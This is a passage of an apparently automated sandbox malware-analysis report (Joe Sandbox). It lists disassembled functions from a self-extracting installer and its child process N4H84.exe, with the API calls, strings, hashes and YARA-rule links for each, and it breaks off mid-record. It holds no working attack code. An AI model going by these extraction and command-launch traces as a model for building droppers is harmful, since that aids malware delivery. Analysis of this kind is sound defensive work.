Instruction ID: 2e23d057014228d1a5f60314e5a6d2b8ce67147ceaec9509420e279ea1829762
Opcode Fuzzy Hash: 3edc8f79b29d975ccb52e200ba7b3be425f81bc8b1f5a5ba344e405f9170ae5a
Instruction Fuzzy Hash: C2514E31D00269DFCB26DF99C884AAEFBB9FF48700F15422AE901E7291DB319D41DB90

Function 003E43D0 Relevance: 10.6, APIs: 7, Instructions: 97COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 003E43F1
GetWindowRect.USER32(00000000,?), ref: 003E440B
GetDC.USER32(?), ref: 003E4423
GetDeviceCaps.GDI32(00000000,00000008), ref: 003E442E
GetDeviceCaps.GDI32(00000000,0000000A), ref: 003E443A
ReleaseDC.USER32(?,00000000), ref: 003E4447
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000005,?,00000001), ref: 003E44A2

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: a1a4475224fbe5bb6065c56c76700dcc19176032b71ced2839f0b052355bf18e
Instruction ID: 20c56016b3e6fa49a1425c0a572bfb52614d09ef14f317cb4db901b32f0ea557
Opcode Fuzzy Hash: a1a4475224fbe5bb6065c56c76700dcc19176032b71ced2839f0b052355bf18e
Instruction Fuzzy Hash: C6315071F00559AFCB15CFB9DD899EEBBB9EB89310F154269F805F7280DA30AD058B60

Function 003E681F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,00000000,00000002), ref: 003E686E
GetSystemMetrics.USER32(0000004A), ref: 003E68A7
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 003E68CC
RegQueryValueExA.ADVAPI32(?,003E1140,00000000,?,?,?), ref: 003E68F4
RegCloseKey.ADVAPI32(?), ref: 003E6902

Part of subcall function 003E66F9: CharNextA.USER32(?,00000001,00000000,00000000,?,?,?,003E691A), ref: 003E6741

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 003E68C2

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: 3c38aac4ad6e9535de66726bd2639f202c3ef3f4c3106ad3eb961f90f1f27f18
Instruction ID: b2001789cda8929816d91a9b4e6d91a0b8f09d87a03439be0cb208423bd689d5
Opcode Fuzzy Hash: 3c38aac4ad6e9535de66726bd2639f202c3ef3f4c3106ad3eb961f90f1f27f18
Instruction Fuzzy Hash: FE315431A402A8DFDB32CB52CC46BAA777CEB95798F010395E94DAA1C1D730AD858F52

Function 003E6517 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(003E0000,000007D6,00000005), ref: 003E652A
LoadResource.KERNEL32(003E0000,00000000,?,?,003E2EE8,00000000,003E19E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 003E6538
DialogBoxIndirectParamA.USER32(003E0000,00000000,00000547,003E19E0,00000000), ref: 003E6557
FreeResource.KERNEL32(00000000,?,?,003E2EE8,00000000,003E19E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 003E6560

Strings

.>, xrefs: 003E657C
@"v, xrefs: 003E6538

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID: @"v$.>
API String ID: 1214682469-2030985628
Opcode ID: dce79a95776535d5fd4be20d5bf5ca8ae775f43081e06bbb041ff770e45c052d
Instruction ID: 2ca6b626c3f55bf767d46ef265839ff3c07415e5f6d71844c3d36ef52c06dcfa
Opcode Fuzzy Hash: dce79a95776535d5fd4be20d5bf5ca8ae775f43081e06bbb041ff770e45c052d
Instruction Fuzzy Hash: 8B012B722005A9BBCB225F5A9C49DBB766CEB9A3A1F010325FE01971D0D771DD108AA1

Function 003E24E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00000000), ref: 003E2506
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,?), ref: 003E252C
_lopen.KERNEL32(?,00000040), ref: 003E253B
_llseek.KERNEL32(00000000,00000000,00000002), ref: 003E254C
_lclose.KERNEL32(00000000), ref: 003E2555

Strings

wininit.ini, xrefs: 003E2510

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: 15f701aa2068b3f558a1838ba810fba21de06c4a8811cf5848c8fda674ed63f1
Instruction ID: 0dfc77cc2df6ec26bb166dec365458010e4ef1bca134b38bf9a8c35283ae67b1
Opcode Fuzzy Hash: 15f701aa2068b3f558a1838ba810fba21de06c4a8811cf5848c8fda674ed63f1
Instruction Fuzzy Hash: 4501F5326001686BC7319B669C4DEDFBB7CDB82760F010364FA49D71D0DE749E41CA91

Function 003E36EE Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 243windowCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,00000000,?,?), ref: 003E3723
MessageBeep.USER32(00000000), ref: 003E39C3
MessageBoxA.USER32(00000000,00000000,valid,00000030), ref: 003E39F1

Strings

valid, xrefs: 003E39E9, 003E3A19
3, xrefs: 003E3785

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Message$BeepVersion
String ID: 3$valid
API String ID: 2519184315-3539985779
Opcode ID: cb29e0f5dc0b36e1baae0369148154876155e369ad5478fb91f9843368a0a4bc
Instruction ID: 2505d2fd4f24c56bc8d58510cd8da895d4e5f36cbcd4faf2a8a1b72580d222b2
Opcode Fuzzy Hash: cb29e0f5dc0b36e1baae0369148154876155e369ad5478fb91f9843368a0a4bc
Instruction Fuzzy Hash: 3391D271E012B49BDB778B16CD897EA77A5AF45304F1603A9E8499B2C1D7718F80CB41

Function 003E6495 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41libraryCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 003E64DF
LoadLibraryExA.KERNEL32(?,00000000,00000008,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 003E64F9
LoadLibraryA.KERNEL32(advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 003E6502

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 003E64AC
advpack.dll, xrefs: 003E64C2, 003E64CD, 003E6501

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$advpack.dll
API String ID: 438848745-1955609190
Opcode ID: f0aece4b4ed8d727e5be5a1e8b28bfbad66261fa5b39565b45626d29faaed4fa
Instruction ID: 99639795895808fc00c286c6ba577af4e67db6b462750ea0f8048f616bece595
Opcode Fuzzy Hash: f0aece4b4ed8d727e5be5a1e8b28bfbad66261fa5b39565b45626d29faaed4fa
Instruction Fuzzy Hash: E601F930A00198ABD761EB66DC8AFEE737CDB61311F500395F585961C0DFB0AE85CB51

Function 003E4169 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 003E468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003E46A0
Part of subcall function 003E468F: SizeofResource.KERNEL32(00000000,00000000,?,003E2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46A9
Part of subcall function 003E468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003E46C3
Part of subcall function 003E468F: LoadResource.KERNEL32(00000000,00000000,?,003E2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46CC
Part of subcall function 003E468F: LockResource.KERNEL32(00000000,?,003E2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46D3
Part of subcall function 003E468F: memcpy_s.MSVCRT ref: 003E46E5
Part of subcall function 003E468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003E46EF

LocalAlloc.KERNEL32(00000040,?,00000000,00000000,00000105,00000000,003E30B4), ref: 003E4189
LocalFree.KERNEL32(00000000,?,00000000,00000000,00000105,00000000,003E30B4), ref: 003E41E7

Part of subcall function 003E44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 003E4518
Part of subcall function 003E44B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 003E4554

Strings

FINISHMSG, xrefs: 003E4173, 003E41AB
<None>, xrefs: 003E41C5

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$FINISHMSG
API String ID: 3507850446-3091758298
Opcode ID: dfcf668c5715e7bf96ccaf553d8730d9e33c750b71c3ea34ac3a87578638ff13
Instruction ID: 89b816712337410a652e2d4d694ff0e026352d5045988da2be5aa30ed0a0d7f8
Opcode Fuzzy Hash: dfcf668c5715e7bf96ccaf553d8730d9e33c750b71c3ea34ac3a87578638ff13
Instruction Fuzzy Hash: 4F01D1B53002B47BFB271A678C86FBB218EDBDC795F014325B705E95C09AB8DC414175

Function 003E19E0 Relevance: 7.6, APIs: 5, Instructions: 51windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,?), ref: 003E1A18
GetDesktopWindow.USER32 ref: 003E1A24
LoadStringA.USER32(?,?,00000200), ref: 003E1A4F
SetDlgItemTextA.USER32(?,0000083F,00000000), ref: 003E1A62
MessageBeep.USER32(000000FF), ref: 003E1A6A

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: 45767a7d410342790929b150cfe5fb666f8699832f78d3381b35b8935800f814
Instruction ID: 6ec4a767b054a3ee3b7ad774a9af41407b28cb22d089a302376446464cedc646
Opcode Fuzzy Hash: 45767a7d410342790929b150cfe5fb666f8699832f78d3381b35b8935800f814
Instruction Fuzzy Hash: 8F11E1315001A9AFCB22EF64DE48ABE77BCEF09300F108364F9129A1D0CA30AE10CB91

Function 003E47E0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000008,?,00000000,003E4E6F), ref: 003E47EA
LocalAlloc.KERNEL32(00000040,?), ref: 003E4823
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 003E4847

Part of subcall function 003E44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 003E4518
Part of subcall function 003E44B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 003E4554

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 003E4851

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Local$Alloc$FreeLoadMessageString
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 359063898-388467436
Opcode ID: 05f8cb3ff16b903f4165fcf9d88fc4980da74be929fd593619e9657cbef2a432
Instruction ID: faeefeda74631cd55a5e42d187cdd5ff881f625e52187f7964b7d256b9522b0f
Opcode Fuzzy Hash: 05f8cb3ff16b903f4165fcf9d88fc4980da74be929fd593619e9657cbef2a432
Instruction Fuzzy Hash: CA1106B56046D16FEB278F259C58F763B5EEB89300F058719E9828F3C1DA369C068760

Function 003E4980 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 62stringCOMMON

Download Yara Rule

APIs

lstrcmpA.KERNEL32(00008000,*MEMCAB,00000000,CABINET,?,003E4F67,*MEMCAB,00008000,00000180), ref: 003E49CA

Strings

CABINET, xrefs: 003E4985
Yeg, xrefs: 003E49EB
*MEMCAB, xrefs: 003E49C2

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: lstrcmp
String ID: *MEMCAB$CABINET$Yeg
API String ID: 1534048567-2122497587
Opcode ID: 1c4c21e1daba2088431c4d6dba2a51b7c3876f9aec00421df30e7bdf4822be07
Instruction ID: 39ae40f9a6f88d72fa7c3b417f546c7eb749cb81d1b42dd2230c1a722bb1a522
Opcode Fuzzy Hash: 1c4c21e1daba2088431c4d6dba2a51b7c3876f9aec00421df30e7bdf4822be07
Instruction Fuzzy Hash: 9E11C631A401E88EC3279F1BDC586163A99FB95730B15436AF42C9F2E2CB718C03D785

Function 003E3680 Relevance: 6.1, APIs: 4, Instructions: 51windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 003E369F
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 003E36B2
DispatchMessageA.USER32(?), ref: 003E36CB
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 003E36DA

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: d20d6c340bb21513f9284b7685a717c2aafe4fd287947ab5f6d92815c30b0515
Instruction ID: 446976230b3780eb12b2ccbde7098d10c50dfcb85234634078d11989fc5340d6
Opcode Fuzzy Hash: d20d6c340bb21513f9284b7685a717c2aafe4fd287947ab5f6d92815c30b0515
Instruction Fuzzy Hash: 930184729002A4B7DB314AA75C8CEEB7B7CEB85B10F010319B905E72C0D5719640C660

Function 003E65E8 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

CharPrevA.USER32(?,00000000,00000000,?,00000000,003E2B33), ref: 003E6602
CharPrevA.USER32(?,00000000), ref: 003E6612
CharPrevA.USER32(?,00000000), ref: 003E6629
CharNextA.USER32(00000000), ref: 003E6635

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: eab203f2fb9f62c6848620436e979ce0628a41b5d9c30255b9a49835b47f026e
Instruction ID: a0e7a331eb366b2f1f05883e86898734f6cdfd13b1bc3003d520270768913044
Opcode Fuzzy Hash: eab203f2fb9f62c6848620436e979ce0628a41b5d9c30255b9a49835b47f026e
Instruction Fuzzy Hash: 88F02D310045E06ED7331B2A4CC89BBBF9CDFE7394F1A436FE4D596081D7150D068661

Function 003E6952 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(0000005A,?,?,`W>,?,00000000,003E5760,?,A:\), ref: 003E697F
MulDiv.KERNEL32(?,?,00000400), ref: 003E6999

Strings

`W>, xrefs: 003E6972, 003E6975

Memory Dump Source

Source File: 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2510451422.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510577800.00000000003E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2510645689.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_same.jbxd

Similarity

API ID: DiskFreeSpace
String ID: `W>
API String ID: 1705453755-2198717450
Opcode ID: 723da3a829c274cebaf179e7f918ed6f2aeb0a00b6362a625fc983e07e8dcf01
Instruction ID: 10ed2ecff7cec92dbfd5641e249289b89f3045a029944e7d8bc0a411aa4ba9f3
Opcode Fuzzy Hash: 723da3a829c274cebaf179e7f918ed6f2aeb0a00b6362a625fc983e07e8dcf01
Instruction Fuzzy Hash: 0EF0E7B6D00268BBCB12DFE98C45ADEBBBCEB48700F104696B510E6280D671AA008B91

Analysis Process: N4H84.exePID: 1616, Parent PID: 5732COMMON

Execution Graph

Execution Coverage:	30.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	922
Total number of Limit Nodes:	27

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 002A3BA2 Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 308
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 002A3C11
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,00000004), ref: 002A3CDC

Part of subcall function 002A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002A46A0
Part of subcall function 002A468F: SizeofResource.KERNEL32(00000000,00000000,?,002A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46A9
Part of subcall function 002A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002A46C3
Part of subcall function 002A468F: LoadResource.KERNEL32(00000000,00000000,?,002A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46CC
Part of subcall function 002A468F: LockResource.KERNEL32(00000000,?,002A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46D3
Part of subcall function 002A468F: memcpy_s.MSVCRT ref: 002A46E5
Part of subcall function 002A468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 002A46EF

CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,?,002A8C42), ref: 002A3D8F
GetProcAddress.KERNEL32(00000000,DoInfInstall), ref: 002A3E26
FreeLibrary.KERNEL32(00000000,?,002A8C42), ref: 002A3EFF
LocalFree.KERNEL32(?,?,?,?,002A8C42), ref: 002A3F1F
FreeLibrary.KERNEL32(00000000,?,002A8C42), ref: 002A3F40
LocalFree.KERNEL32(?,?,?,?,002A8C42), ref: 002A3F47
FreeLibrary.KERNEL32(00000000,DoInfInstall,00000000,00000010,00000000,?,002A8C42), ref: 002A3F76
LocalFree.KERNEL32(?,advpack.dll,00000000,00000010,00000000,?,?,?,002A8C42), ref: 002A3F80
LocalFree.KERNEL32(?,00000000,00000000,00000010,00000000,?,?,?,002A8C42), ref: 002A3FC2

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 002A3E74
USRQCMD, xrefs: 002A3CAD
RUNPROGRAM, xrefs: 002A3D05
advpack.dll, xrefs: 002A3F9D
ADMQCMD, xrefs: 002A3C9E
REBOOT, xrefs: 002A3BE2
D, xrefs: 002A3C19
valid, xrefs: 002A3E68
DoInfInstall, xrefs: 002A3E1F, 002A3E24, 002A3F68
<None>, xrefs: 002A3CC9, 002A3D7D
SHOWWINDOW, xrefs: 002A3C34
POSTRUNPROGRAM, xrefs: 002A3D60

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2a0000_N4H84.jbxd

Similarity

API ID: Free$Resource$Local$Library$CompareFindString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$C:\Users\user\AppData\Local\Temp\IXP001.TMP\$D$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$USRQCMD$advpack.dll$valid
API String ID: 1032054927-1063215750
Opcode ID: e548e0778d2a892ef51d53e181122bfdaeb034ed0821843a08d094aba0552e3f
Instruction ID: f6f4f3a80838294bf41e535e086bf20068421cd13e08816311be52c9bc12f0e8
Opcode Fuzzy Hash: e548e0778d2a892ef51d53e181122bfdaeb034ed0821843a08d094aba0552e3f
Instruction Fuzzy Hash: AEB1E470A343129FD720DF249C49B6BB6E5EB87750F10092EFA85D6191EF70C964CB92

Function 002A1AE8 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 291
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CompareStringA.KERNEL32(0000007F,00000001,00000000,000000FF,.INF,000000FF,?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,?,00000000,00000001,00000000), ref: 002A1BE7
GetFileAttributesA.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,?,00000000,00000001,00000000), ref: 002A1BFE
LocalAlloc.KERNEL32(00000040,00000200,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,?,00000000,00000001,00000000), ref: 002A1C57
GetPrivateProfileIntA.KERNEL32(?,Reboot,00000000,?), ref: 002A1C88
GetPrivateProfileStringA.KERNEL32(Version,AdvancedINF,002A1140,00000000,00000008,?), ref: 002A1CB8
GetShortPathNameA.KERNEL32(?,?,00000104), ref: 002A1D1B

Part of subcall function 002A44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 002A4518
Part of subcall function 002A44B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 002A4554

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 002A1BA0
Command.com /c %s, xrefs: 002A1D9B, 002A1DE8
", xrefs: 002A1B25
Reboot, xrefs: 002A1C82
Version, xrefs: 002A1CB3
setupapi.dll, xrefs: 002A1D23, 002A1D3A
DefaultInstall, xrefs: 002A1C74, 002A1C87, 002A1CCE, 002A1CD3, 002A1D2D, 002A1D39
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 002A1D3B
.BAT, xrefs: 002A1D83
setupx.dll, xrefs: 002A1D14
.INF, xrefs: 002A1BDB
AdvancedINF, xrefs: 002A1CAE

Memory Dump Source

Source File: 00000002.00000002.2474703664.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000002.00000002.2474676138.00000000002A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474749899.00000000002A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2474786639.00000000002AA000.00000002.00000001.01000000.00000004.sdmpDownload File
